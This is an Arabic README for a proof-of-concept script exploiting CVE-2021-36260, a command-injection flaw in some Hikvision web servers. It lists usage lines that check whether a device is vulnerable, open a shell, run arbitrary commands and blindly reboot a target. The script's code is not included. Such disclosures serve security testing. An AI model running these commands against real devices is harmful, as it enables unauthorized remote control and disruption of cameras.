CVE-2021-36260

CVE-2021-36260 POC ثغرة حقن أوامر في خادم الويب لبعض منتجات Hikvision. بسبب عدم كفاية التحقق من الإدخال، يمكن للمهاجم استغلال الثغرة لشن هجوم حقن أوامر عن طريق إرسال بعض الرسائل التي تحتوي على أوامر خبيثة.

عنوان الاستغلال: Hikvision Web Server Build 210702 - حقن الأوامر

مؤلف الاستغلال: bashis -- تم تحديث الأخطاء بواسطة shubtheone

الصفحة الرئيسية للمُورّد: https://www.hikvision.com/

الإصدار: 1.0

CVE: CVE-2021-36260

المرجع: https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html

كل الفضل يعود إلى Watchful_IP

ملاحظة:

1. هذا الكود لن يتحقق مما إذا كان الجهاز البعيد جهاز Hikvision أم لا.
2. تركز معظم اهتمامي بهذا الكود على كيفية اكتشاف الأجهزة المعرضة للثغرات و/أو القابلة للاستغلال بشكل موثوق. بعض الأجهزة يسهل اكتشافها والتحقق منها واستغلال الثغرة، وقد تكون أجهزة أخرى معرضة للثغرة ولكن ليس من السهل التحقق منها واستغلالها. أعتقد أن رمز التحقق المجمع يجب أن يكون دقيقًا جدًا.
3. سيحاول 'الفحص الآمن' (--check) الكتابة والقراءة للتحقق بينما سيحاول 'الفحص غير الآمن' (--reboot) إعادة تشغيل الجهاز للتحقق

[أمثلة] فحص الثغرة/التحقق الآمن: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check

فحص الثغرة/التحقق الآمن وغير الآمن: (سيتم استخدام 'الفحص غير الآمن' فقط إذا لم يتم التحقق عبر 'الفحص الآمن') $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot

فحص الثغرة/التحقق غير الآمن: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --reboot

تشغيل والاتصال بقشرة SSH: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --shell

تنفيذ أمر: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd "ls -l"

تنفيذ أمر أعمى: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd_blind "reboot"

CVE-2021-36260-hikvision